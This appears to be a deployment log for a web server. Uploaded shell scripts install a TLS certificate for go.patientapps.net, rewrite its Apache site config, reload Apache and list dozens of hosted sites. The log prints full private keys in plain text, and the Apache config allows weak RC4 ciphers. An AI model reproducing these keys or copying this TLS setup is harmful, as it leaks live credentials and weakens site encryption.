azfbNHBXZqugu/hrYK6cdjbKMQKBgQDCdq/jShixRtIzLwfggkUKSSNAsrajMLQZ
s2kSHjf5jU/YUW+7KhUOFscSrL9bk1g9PZOhBdeCtQhbhjf6tQuZeM9JEotCykbK
5FaCdOAO1+D+tgK1sGa/traA380BOXz+QpQouu8iDWUWccCzl9ZkqK+15ziZGPVU
DMA60ATD2wKBgD8J/0LjMF3F/4UJ945qIH254ZcEFhFKDd5vSoFtSq7h7UZ479og
TbAd59BHf1p08pLMXbc/OtBjuDWh9pgO3xvcS5xc//chc+Kyi88G+0u9v9mLO27I
0vS0t26jNA0mwYakOThJhP/m11WdOxtgVzws2mJ+wBntjmxa60qA4AHhAoGAaRBW
1yYhUSZCSwUN7G51fqklMr9bja+ynnAgRHmvJFUE3oqhIy4JUiNcSuqqOH/THMM4
D7doSGYmrcxGUl2edryewYwTUXKX7OaRFsqug1Z/aR5NOHymBs5grCA+UnsM3RJ7
mcXljTBPfWDYDC/s1VWOGWljWtPxOAfrk9rvuCECgYB42b4JuRAaq672oAMb1WiA
qUkEqLxZdQZgE5S/yssiNoLR2I0bXojQDTvhlIZgcPuahXARUB9WIB2o/Z/DdDai
ugsWyTizhD9h3Qoi4La/WS4aYfXgztLG37skkn8mnl9XYuBG5OHnZvIXwIfHWFx1
sUuDHuYWlxn0jjRuWdy/4w==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-12-15 06:00:55: Establishing a connection
2025-12-15 06:00:55: Establishing a connection
2025-12-15 06:00:55: 

PUT: /tmp/pkp490217

#!/bin/bash
if [ -d "/var/www/patientapps_go/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-15 06:00:55: 

chmod 755 /tmp/pkp490217; /tmp/pkp490217; rm /tmp/pkp490217

2025-12-15 06:00:55: 


0


2025-12-15 06:01:20: Establishing a connection
2025-12-15 06:01:20: 

PUT: /tmp/pkp848499

#!/bin/bash
temp_file=$(mktemp)
TARGET=8da89970bb61038d506425dda08af7c6.crt

cat > $temp_file <<'endmsg'
fc:29:4f:4e:39:4e:11:65:d6:8b:a7:d8:b9:dd:24:cd

-----BEGIN CERTIFICATE-----
MIIFATCCA+mgAwIBAgISBQvhiTe5jCt6ahEnrCu16UYfMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjE1MDUwMjQ5WhcNMjYwMzE1MDUwMjQ4WjAdMRswGQYDVQQD
ExJnby5wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDHxggXG6cNMnmZxYQrKJxQa4almAAmfeh4wA/9hfgr2/OogHY6LLCjw+gU
Jzdd7tLLo8BSQKXFbtq5bkiACiie1JMALkFFUd5oCmCHHcaKqMPgp5zNuO2BUjtP
KVaY/i5J8kvhNN7BpCxUtzMYmYEYHLE6SkugNMVnl0Id2dku5QsHkamuhl3LESS+
aAdlFpFnNzlMRVDimuxjoWEqfH2NEOTPoteye18LsjFttlR2NJBjKjPMHjHLfi2f
4eqeZT2X5lBAGcI4iIJg4ekZHt01SexMHZra+uC5ElEVOvNfMX74BGHsHXcnCi6I
74nXtZOPpEweXBQleif5ffR7EHSpAgMBAAGjggIjMIICHzAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFCSXNlRhf7dqcUVOy/pMSbgZEwdJMB8GA1UdIwQYMBaAFOernw8s
M6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMy5pLmxlbmNyLm9yZy8wHQYDVR0RBBYwFIISZ28ucGF0aWVudGFwcHMu
bmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6
Ly9yMTMuYy5sZW5jci5vcmcvMzIuY3JsMIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDx
AHYAFoMtq/CpJQ8P8DqlRf/Iv8gj0IdL9gQpJ/jnHzMT9foAAAGbIJla0AAABAMA
RzBFAiEAmkIUN+aQx41nr4Qg9aeHLRtosnZ3TYL2FZaaJleeeqcCIAtZcURvEZ4l
k1cl8p+qEvlOxKdsaRVmavFeKahe7BPtAHcAlpdkv1VYl633Q4doNwhCd+nwOtX2
pPM2bkakPw/KqcYAAAGbIJlaqQAABAMASDBGAiEA46v+KSHYarP++3cVPS/PUo6f
i95Vm+8/vMe5wnq8wcMCIQC6xUDzB35aMSzUT0TgnKLJa1x/ntIrY6i9MdNX5aKh
AjANBgkqhkiG9w0BAQsFAAOCAQEAQpFoOQjkozimeYxFfkmGSzHhLNei97LYXrgR
id/yodZ68t1FfKOgqjZIbDfn6BDbov2d90XwHgDd0pvhlI9G/VKHUD3Qx+h4TRqT
DelX55U/lJ23uxdjUaCcw2eX0qecf/wfUO24im+rypIjOsn8KVIWMOLoqHb33NQr
kPjfLAb7RZJWVc62xJiPCNI4uFmtocHh64aaLZXMsQ9ZVgQOuar2rAiIVLp7DNbk
nl0FeIT2KYC/JQQIULkyecb56SzgBlidtgJOHGlhiOkf+vQKkWV6pMgMUHUyoTpL
wm97/rvVpJinenUC2TowULUJ+LC++9FsWuW3f64SL8gV0mASeg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDHxggXG6cNMnmZ
xYQrKJxQa4almAAmfeh4wA/9hfgr2/OogHY6LLCjw+gUJzdd7tLLo8BSQKXFbtq5
bkiACiie1JMALkFFUd5oCmCHHcaKqMPgp5zNuO2BUjtPKVaY/i5J8kvhNN7BpCxU
tzMYmYEYHLE6SkugNMVnl0Id2dku5QsHkamuhl3LESS+aAdlFpFnNzlMRVDimuxj
oWEqfH2NEOTPoteye18LsjFttlR2NJBjKjPMHjHLfi2f4eqeZT2X5lBAGcI4iIJg
4ekZHt01SexMHZra+uC5ElEVOvNfMX74BGHsHXcnCi6I74nXtZOPpEweXBQleif5
ffR7EHSpAgMBAAECggEARzK33Wx4jAaKOhif8zXFCBBaa5gRraY//REOYd+mRBNe
8pXeDPuydJs0kkIrxGmCbRtORsJNkmDgySeZ5TA5q+m8/lp93rO/3Tqdjmo5QV/G
d8Gk69jVpLpm8t6bw2kLnEUjb/8EyOS2+/ZS2piS3sITE+A4tb84/6Nz5+mlMsXC
/WEjdR9+mTe4lJd9VhqIgGCVH7kmPGkSGNdMxFs003dIAbLeUZlj9NaBdDkoHcm/
ocNcMsyHKi6oSOeIT28BgSM0Gw0cHPVW9IfS9u2JcJPfcmHZ73AzOeO/fy9/THOK
8hoPhKU1KTIrCo0HuUuKc/pubGmd2G1vPL6X5vI2EQKBgQD1ZlKCKKsOdeO5PBUU
LO3Mbpxl1ZrR89Vrs8ld40/XPIeZ7GPwzS/wpQtVI5EuDT6ZPM6mKx0sO3jqDTzP
FmUqinoTSOKKYdYs0m6Fp0gSchjhe7MZCq9EYWF7p20RGnaJHzU8tJPcg3QaWqC5
Vz/6vmJK7soN7fBX32eq1Lyo9QKBgQDQZyqmQQxh29quyn81ZvYSQ6NenMAFt2sm
ucIvJRwsoDdyWyGHMjIE582UgKevAkwLCYVpPStlCoEFzilUlH3YPOJYA1BCuLRJ
PQ0JH5v5mDlF7mZywxCVB/GdqeC1V7y7R2YNFedARxxJBgzDvYya+1uPRupZwYaM
5vshxSscZQKBgQCEtuC6Waog+Oq+O9sefSnh3JQiksHW9+qdA69MYmnEeozPVsO5
8A4UM/4L/l8+q5UGJJeR0FFHoaZD1gLj8DWoKxnYIhu6QS0mMmvpRk25BBGmqFJ0
oY2mCpBA4oweqtQeVk1hVjt9D26T7h1r/t6wCZR49+k4XU0VCNI01jZtnQKBgHvU
YS4qRo47EYR8g/uaMyqFECSepSaAZuW6yJw0w7nsdSW46oInnDr39VqA26IMjlyc
iq4Oj6NZC3MEneBI30HGY4OCbIVItK8z3HQIWSiEf7uCvVMBfu/eqX1SPFfkSxtI
gGXUFvVFi5QEST9heJN6OVw3+fXdHPLKKHxXaJdVAoGACDteGt6OBh1kZSpppzIc
mGRIo/FxtqNZ4fJsPUg5IiI9/MzzLl8fXc4hDJS8dQZJGJsP9jLjbTMk4XRAP51p
wZ9SyNZLZrImrNRbc99pFWVkealMGS+sg0l6WdGg+qDln/QR0qWEBRgI3FVs6Hc/
zpztHZhJpLB/f4Ev/myRjoQ=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-15 06:01:20: 

chmod 755 /tmp/pkp848499; /tmp/pkp848499; rm /tmp/pkp848499

2025-12-15 06:01:20: 


dir=/etc/ssl/certs


2025-12-15 06:01:20: 

PUT: /tmp/pkp372792

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_go_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-15 06:01:20: 

chmod 755 /tmp/pkp372792; /tmp/pkp372792; rm /tmp/pkp372792

2025-12-15 06:01:20: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_go_net.conf 42
<VirtualHost *:80>
    ServerName	go.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_go
    <Directory /var/www/patientapps_go>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/go_access.log combined
    ErrorLog	/var/log/apache2/patientapps/go_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.php index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.1-sii.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	go.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt
    DocumentRoot	/var/www/patientapps_go
    <Directory /var/www/patientapps_go>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/go_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/go_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm
</VirtualHost>






2025-12-15 06:01:20: 

PUT: /tmp/pkp796949

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_go_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_go_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	go.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_go
    <Directory /var/www/patientapps_go>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/go_access.log combined
    ErrorLog	/var/log/apache2/patientapps/go_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.php index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.1-sii.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	go.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt
    DocumentRoot	/var/www/patientapps_go
    <Directory /var/www/patientapps_go>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/go_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/go_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_go_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_go_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_go_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_go_net.conf= 1'
fi


2025-12-15 06:01:20: 

chmod 755 /tmp/pkp796949; /tmp/pkp796949; rm /tmp/pkp796949

2025-12-15 06:01:20: 




2025-12-15 06:01:20: 

PUT: /tmp/pkp493183

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-15 06:01:20: 

chmod 755 /tmp/pkp493183; /tmp/pkp493183; rm /tmp/pkp493183

2025-12-15 06:01:20: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-15 06:01:20: Establishing a connection
2025-12-15 06:01:20: 

PUT: /tmp/pkp782118

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-15 06:01:21: 

chmod 755 /tmp/pkp782118; /tmp/pkp782118; rm /tmp/pkp782118

2025-12-15 06:01:21: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
